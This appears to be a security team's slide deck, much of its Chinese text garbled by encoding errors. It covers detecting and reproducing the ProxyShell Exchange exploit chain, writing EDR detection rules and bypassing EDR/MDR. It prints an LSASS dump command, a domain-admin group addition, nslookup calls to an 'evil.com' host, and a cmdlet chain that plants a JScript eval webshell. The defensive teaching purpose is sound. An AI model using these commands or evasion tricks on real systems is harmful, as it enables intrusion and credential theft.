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MDR氳鰨ꁃ轑屣



MDR鰨ꁃ轑屣

٬䡘⠟ MDR ㏇⢢☜띷


٬Analysis EDR Alert


٬Detection Rule


٬Threat Hunting 


٬IR



MDR鰨ꁃ轑屣

2021◄♭礶銷

280b+

Events

40m+

Indicators

448k+

Alert

44k+

Malicious



MDR鰨ꁃ轑屣

2021◄♭礶銷

APT
14

Malware
86

٬䡘⠟⪦氪▽ 2120 璜◄♭


٬⪭╈僘 288 璜佭㸋亥 APT ䷍䳦



MDR鰨ꁃ轑屣

2021◄♭礶銷

Exploit Public-Facing Application - 89

Phishing - 20

0day - 5

Lateral Movement  - 130

1day - 16

Lateral Movement
%

day
% day

%

Phishing
%

Exploit Public-Facing Application
31

Unknown
10

٬㏇ 288 璜 APT ◄♭╈㛻舛┕⺎⮈憡♓┖牊걊

Unknown - 28



٬䡘⠟谊杼◄♭侈㛻鼨⮈氳⪌✿嶏䇭╲齉憡 Web 逈랫阁䷍䳦縖⹦䐂
Initial Access


٬僘◚⯞佭䐍嚛⺸波䫚⪌⪭╈▉ⴎ⻢▽ VPN 㛛孋


٬⪭☾氳⯞佭婯催于Patch䡝佭ꄪ뇹䡘⠟▉鷖鷪僘User榫domain admin
ꝧグꤚ骰潾磶冽舅䄕㓵车遵ꪫ氳Malware㵷舛渉ꝴ䴹万....

MDR鰨ꁃ轑屣



鞴㱨◄♭氪榟䏴艃㲙䢒鋁鑝㞞⛰䷊ュ侈竭働ꪞ䅻氳扝鏥❆㞞


٬We✃氳私珇僘庁嬼䷍䳦縖⮵榫SQL Injection㓵车硎礶䧘♒


٬㲙䢒䢦♓⪌✿嶏佭☜띷⼲鵂鷪☜띷庁嬼


٬We…

MDR鰨ꁃ轑屣



䣩ꢝ䪨艃婯谊杼鷪鞴㱨◄♭氳䤖鰾嶥鵡

⪭㴨⢢誻꣣麅佭僘䏭㛡ꪞ䅻㞒曻氳◄䗰



nslookup  root.evil.com



nslookup  6.1.7601.evil.com



䷍䳦縖ꝧ㡐䠪橏☕榟





Case Study

䚋销🍊DEVCORE♓⹗儗勇㲙䢒䪧垷⺱䙬⮈◸



DISCLAIMER

DEVCORE氷✳榫祺㟱ュ鵡㕕⹗⟣適鷪䏴╯1-day



2021/04/06

Pwn2Own

Timeline

DEVCORE targeting 

Microsoft Exchange

Microsoft 


released patch
2021/07/04 
Red Team

Detected DEVCORE red 

team using ProxyShell
2021/08/05 
Black Hat

🍊  presenting 

the exploit

2021/04/13

Patched



侈ꝴ럅┎僖⮤

ꦗ🍊亥Blackhat⪞䄭麅僘┉⠕僖婯☕湳偤鵞佭☜띷



MITRE ATT&CK

• Extracting SAM database 
T1003.002 OS Credential Dumping: Security Account Manager


• Renamed cmd.exe 
T1036.003 Masquerading: Rename System Utilities


• LSASS Minidump 
T1003.001 OS Credential Dumping: LSASS Memory


• Adding Enterprise Admin 
T1136.002 Create Account: Domain Account

Detected Post Exploitation
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Detected Post Exploitation

MITRE ATT&CK

• Extracting SAM database 
T1003.002 OS Credential Dumping: Security Account Manager


• Renamed cmd.exe 
T1036.003 Masquerading: Rename System Utilities


• LSASS Minidump 
T1003.001 OS Credential Dumping: LSASS Memory


• Adding Enterprise Admin 
T1136.002 Create Account: Domain Account rundll32 C:\Windows\system32\comsvcs.dll, MiniDump 1632  

C:\inetpub\wwwroot\aspnet_client\arumi10_lsass.jpg full



MITRE ATT&CK

• Extracting SAM database 
T1003.002 OS Credential Dumping: Security Account Manager


• Renamed cmd.exe 
T1036.003 Masquerading: Rename System Utilities


• LSASS Minidump 
T1003.001 OS Credential Dumping: LSASS Memory


• Adding Enterprise Admin 
T1136.002 Create Account: Domain Account net group ""ENTERPRISE KEY ADMINS"" MAIL1$ /add /do

Detected Post Exploitation



MITRE T0094.87: Annoying The Red Team



nslookup  flag.NoRCE4U.lmao.

nslookup  ple45e.dont.attack.M3.O3O.



٬┉波㏇璢䏩硟꣣榫command line饇䡘⠟纟㛿磶冽齉婯璢⮽🥲


٬婯䘶⮽勇㯹磶兠䏴⸼VirusTotal洇▽┉┖樧⮤硟꣣氳domain氪杯...







⮽鵞麕儗✿♓憡⺆佭⠕硟꣣⢢蜸俋鵡氳◄䗰 
⺎嶗⤕磶勇▽⛙刨蜸刨蜸氪杯▽놭䷚◄...



WTF 1
䐍EDR鞴銻氪杯▽吤⪌webshell氳 

✿嶏processꪞ䅻鎀樟



WTF 2
艃㲙䢒⹦䐂嘚儗⹗access log


氪杯鵞⠕webshell佭┉㵟⟔🤔🤔🤔



🍊 says hi …



🍊  



A Weird Mail

麅⸊⟔♭䏴氪杯僘㜦䓯氳▶澰Header⫋磶⺭EDR䢦洇⮽氳鞴乣

٬Webshell僘⺎耈佭鵂鷪⟔♭ⵜ⭴䡝걊⛍Ⱶ耈榣⭴

٬鵞걊Ⱶ耈䏴⺐䣉澛䐂⮽佭┘佭僘☜띷亡嫏笸鷪畚杼☮ꪫ

٬鵞䟕鎊佭⠕exploit chain縡┦⥾佭䏴┉塠♴䙬㴵




OSINT



OSINT

㲙䢒䄖┕ProxyLogon適┊䢦♓鵞䟕鎊佭⪭☾嬼



OSINT

环껊䘶⮽ 2021/4 Pwn2Own┕ 

DEVCORE 䣒狫▽Microsoft Exchange


僘婯僘⺎耈佭⮵榫▽塞庁嬼



OSINT

于氳嬼⺈⢢ ProxyOracle 艃 ProxyShell



OSINT

㞞冽鵞⠕昇䘶塜澭氳鎈 

鵞㶩佭⠕Exchange Pre-Auth RCE


▉♏辑䡘⠟䳒⮽劭䍺▽



䐞杯 Exchange Exploit

㞞⛰㏇㵽ꄈ稘碠┖䐍誻꣣鉈䈲䐞杯儔⪞ꝧ氳劭䍺碎庁嬼



Arbitrary File Write

⩝ㇴ鍲䐞杯䏴┉塠♴䙬㴵



⩝ㇴ鍲䐞杯䏴┉塠♴䙬㴵

٬ProxyOracle?

Arbitrary File Write



⩝ㇴ鍲䐞杯䏴┉塠♴䙬㴵

٬ProxyOracle?

٬ActiveSync?

Arbitrary File Write



⩝ㇴ鍲䐞杯䏴┉塠♴䙬㴵

٬ProxyOracle?

٬ActiveSync?

٬User Interaction?

Arbitrary File Write



⩝ㇴ鍲䐞杯䏴┉塠♴䙬㴵

٬ProxyOracle?

٬ActiveSync?

٬User Interaction?

٬???

Arbitrary File Write



䐍䏴⺐䡗Ⱶ銕氪㴵四
⛙PST劲䌋釒䓃띷䫞⪐㳋


婯僘㵴䟕HTTP request硕ꍖ



Try Harder

Digging Into The Bypass



Access Log

Back to the authentication bypass and see if there’s a way to hit the exporting function


• All we have now is recent IIS Access Log


• Not easy to spot the previous crucial requests due to the time consuming exploit chain 

by ProxyShell in comparison to ProxyLogon


• Sending mail and waiting it to reach out …


• Waiting for establishing Exchange management shell …


• Exporting mailbox and wait …



Access Log

• Suspicious enough autodiscover.json requests, they’re never seen before, but it seems 

they’re not SSRF related


• Somehow lots of Powershell pattern involved, would ProxyShell mean Powershell?



Access Log

2021-07-15 07:08:37 172.17.0.1 POST /mapi/nspi/ MailboxId=xxxxx@mail.xxxxx.com&CorrelationID=<empty>;&ClientRequestInfo=R:

{xxxxxx}:20;RT:PING;CI:{xxxxxx}:5;CID:{xxxxxxxx}&cafeReqId=xxxxxxx; 443 xxxxx\xxxx 172.22.x.x Microsoft+Office/16.0+

(Windows+NT+10.0;+Microsoft+Outlook+16.0.5149;+Pro) - 200 0 0 12


2021-07-15 07:08:37 172.17.0.1 POST /autodiscover/autodiscover.json @88c57e12.com/Powershell?X-Rps-CAT=VgEAVAdXaW…

&Email=autodiscover/autodiscover.json%3F@88c57e12.com&autodiscover.json&CorrelationID=<empty>;&cafeReqId=xxxxxxxxx; 443 - 192.168.x.x 

Microsoft+WinRM+Client - 200 0 0 11


2021-07-15 07:08:37 172.17.0.1 POST /autodiscover/autodiscover.json @88c57e12.com/Powershell?X-Rps-CAT=VgEAVAdXaW…

&Email=autodiscover/autodiscover.json%3F@88c57e12.com&autodiscover.json&CorrelationID=<empty>;&cafeReqId=xxxxxxxxx; 443 - 192.168.x.x 

Microsoft+WinRM+Client - 500 0 0 14



ACL bypass ?



Successfully reproduced one piece of the exploit chain! 

CVE-2021-34473 — Pre-auth Path Confusion Leads to ACL Bypass



The Mysterious Token

䡗Ⱶ鷾䡗ACL bypass䏴⫋✿ㇴ鍲磶⺭⯦ꪫ氳稘碠⮵榫鵞⠕庁嬼⸼䲖Powershell API

٬⛙㴨꤂峮鍲氪鈫☱ꧏ谊杼鏂镜氳鼨⮈



The Mysterious Token

Diving into giant Exchange dll module



• From reversing engineering we knew the mysterious X-Rps-Cat would somehow 

lead to authentication bypass and it’s related to some weird serialization.


• But the structure is complicated, no matter how hard we try it just didn’t work.  

We decided to fuzz every possible field to see what happen and …


• Fuzzing for the win … yike, we still need to successfully establish the winrm 

session to complete the subsequent communication.

The Mysterious Token



MGMT Shell Protocol

• After lots of shots we just figured out the exact protocol being used



MGMT Shell Protocol

٬㴨⛼┉⠕耈✳榫氳WinRM client樧抇佭哗⪭郀ꦉ氳┉ꝧ㡐┘鑝㞞⛰齉婯嫏䡗Ⱶ 

٬䏴氪杯▽Management Shell䢦✳榫氳protocol憡WSMV艃PSRP▽鉮⮽⪭郀

ꦉ䈲䏴䫠峮䡘⠟┘鎊䐢蜸䷍䳦縖氳✳榫亡䌋縡佭拨蜸塜䅻亡䌋䋧环┉埡⶜㲋 

٬鵂鷪뇩䷊鼨⮈PYPSRP㝄♭錄㲋䏴䄖祺耈䡗Ⱶ艃Management Shell鶡车嶥鵡



Successfully Interactive With Exchange Management Shell 

CVE-2021-34523 - Elevation of Privilege on Exchange PowerShell Backend



ProxyShell ! 
Proxy氳鼨⮈䡗Ⱶ▽ 

䢦♓鐁黁⠕Shell⼲



☱抇䤓┘⮽㵫PST鮘⭴䡗⺎䫞webshell亡嫏 
䡘⠟筷箛釮蜸佭⻖僘⪭☾鵏䏺 ...



MGMT Cmdlet

٬㵫Exchange MGMT Shell夷┉⠕Cmdlet齉撍▽⠕鷦☱抇扝嫏䤓⮽⮵榫럅

٬-BatchName

٬Mail attachment

٬Export-ActiveSyncLog

٬Get-MailboxStatistics


٬塜樧䡘⠟䷒厑鮺㍑⮽筷箛溿狔🍊儗☕氳䣒嫏侈䡘⠟䤓⮽▽┉⠕꟯ꐷCmdlet

٬Export-ExchangeCertificate



MGMT Cmdlet

New-ExchangeCertificate -GenerateRequest -SubjectName "cn=<script language='JScript' 
runat='server'>function Page_LoaD(){eval(Request['a'])}</script>" -Friendlyname 'aaaabbbb' 
-domainname ex01


Get-ExchangeCertificate


Export-ExchangeCertificate -Thumbprint xxxxx -filename "\\127.0.0.1\c$
\inetpub\wwwroot\aspnet_client\revan.aspx" -binaryencoded




Successfully Control Webshell Content In Certificate ?



㏇䬷⮽CU20峮鍲侈䣉氪杯働舅Ⳃ䅸.PFX氳Ⱌ四⺲





• Back to the origin exploit - Exporting PST webshell


• After doing some code review and document read we found it’s just a 

permutation encoding

PST Webshell



PST Webshell



PST Webshell

Successfully Control Webshell Content After Mailbox Exported

CVE-2021-31207 - Post-auth Arbitrary-File-Write leads to RCE



https://github.com/ktecv2000/ProxyShell



One More Thing…





攒䙬槴┖攒䐹阁script kiddie耈逈⣑峮⮽



攒䙬槴┖攒䐹阁script kiddie耈逈⣑峮⮽
逈⪭☾☕䧍鵞⠕攒䐹✿䥥랫佭䡘⠟䇡氳



Detection Engineering



EDR Detection

WebShell (MITRE ATT&CK Initial Access)

w3wp.exe cmd.exe whoami.exe /priv

ping.exe google/baidu

systeminfo.exe

Ipconfig.exe /all

tomcat.exe

httpd.exe

java.exe

powershell.exe

Process Name Process Name Process Command line



EDR Detection

WebShell (MITRE ATT&CK Initial Access)

www-data bash

apache

tomcat

sh

curl

wget

Process User Process Name

nginx



EDR Detection

SQL Injection (MITRE ATT&CK Initial Access)

sqlservr.exe cmd.exe whoami.exe /priv

ping.exe google/baidu

systeminfo.exe

Ipconfig.exe /all

Process Name Process Name Process Command line

nslookup.exe



EDR Detection

SQL Injection (MITRE ATT&CK Initial Access)

mysql bash

oracle

postgres

sh

curl

wget

Process User Process Name



PaloAlto Cortex

EDR Detection

CrowdStrike RedCanary

SentinelOne

Splunk

Sigma

Elastic

Microsoft Defender



EDR Detection

Impacket (MITRE ATT&CK Lateral Movement)

Impacket/wmiexec.py

impacket㏇ꯏ錄┖


齉僘攒䐹⺎♓⢢⣑峮



EDR Detection

Impacket (MITRE ATT&CK Lateral Movement)

Impacket/smbexec.py

impacket㏇ꯏ錄┖


齉僘攒䐹⺎♓⢢⣑峮



EDR Detection

Microsoft Defender
RedCanary

Rapid7

Bitdefender

Huntress Splunk

WithSecure

Elastic

Sigma



Pratical EDR/MDR bypass



• 讓 EDR 紀錄到的⾏為是由合法程式所產⽣


- Process Herpaderping


- Process Ghosting


- Process Hollowing


- Process Injection


- Dll Hijacking/Side Loading


• 合法程式很容易被忽略，但進⾏常駐時很容易被發現

EDR/MDR Bypass



• 簡單⼜快速的 Bypass


- 進安全模式

- 把 EDR 的連線 Ban 掉


- 把 EDR 回報的 Domain Name 指向 127.0.0.1


- Phant0m (Windows Eventlog Killer)


• 通常做這些都沒被發現真的是上輩⼦燒好香

EDR/MDR Bypass



• The hook bypass


- Unhook (usermode)

- Syscall

- Unexpected API


• 網路上有公開許多關於此種類的利⽤⽅式


• 可能很有效繞過主動防護，但對於監控紀錄來說可能不太有⽤

EDR/MDR Bypass



• 偵測規則繞過

• LOLBAS

• 指令混淆


• 事件類型轉換


• 很容易逃避偵測，但被搜尋到就會直接進⾏調查


• 對於紅隊來說，永遠不知道所執⾏的指令到底會不會觸發 Alert

EDR/MDR Bypass



Pratical EDR/MDR bypass

Detection Rule/Threat Hunting 佭㓹亥 Regex

٬net.exe user /domain -> regex "user[ ]+/domain


٬user /do, user /dom, us^er /do


٬Powershell.exe -encodedcommand xxxxx -> regex "-encodedcommand"


٬-e, -en, -enc, -e^n



EDR/MDR Bypass

Process Creation
Powershell

File
Registry

Image
Network

DNS
Driver

0 200 400 600 800

Event type from Sigma

事件類型轉換



Summary



Summary

For blue team

٬姧鸞嫱䙬黁◚┘塜䅻氳◄♭┾⟋䧐㞒㜦


٬䧴䫂鈶峮⮽氳儔湳䣆嫏⺎♓⹚긧䏭㛻氳⣑峮⹗ꡕ闀⧎⡬


٬䤧誻꣣⢢⮽㞒⺆耈幥⮈100⮈縡ꙍ溿硟꣣䣆嫏⹚耈䬠ⶍ誻꣣氳竭⮈┕꡿


٬畚杼艃⨤ⴭ⮈冫┘㱮氳⼔閝璢亥婯僘⼔閝



Summary

For red team

٬⣑峮鵅廍䡗憡誻亡飸ⳛ笸鷪ꡢ䳧䄖廍廍┘ꄆ釒縡⪐私꤬襟氳幋鵂䤗䄇㵫⛯
奄飉✿飉ꄆⷊ✳鵂鷪䍛㛻氳RCE䐍㛛鼨鶡⪌⪐私▉⺎耈企企⭴㷀


٬㵴䤻鋖畚硎⮛氳僜ⳉ╚釒㵴䤻氳佭☕縡┘佭硎礶䡝ꡕ煞嚂⯆


٬㵸䑐✳榫黁◚⧎⡬鵿㒮氳庁嬼僘⺎耈┘䛥蛾⪌誻꣣䣆╈



逈硕ꍖ┘璢亥逈⼔閝逈⼔閝┘璢亥逈氪杯


逈氪杯┘璢亥逈鐩刨逈鐩刨┘璢亥逈谊杼



Thank You!


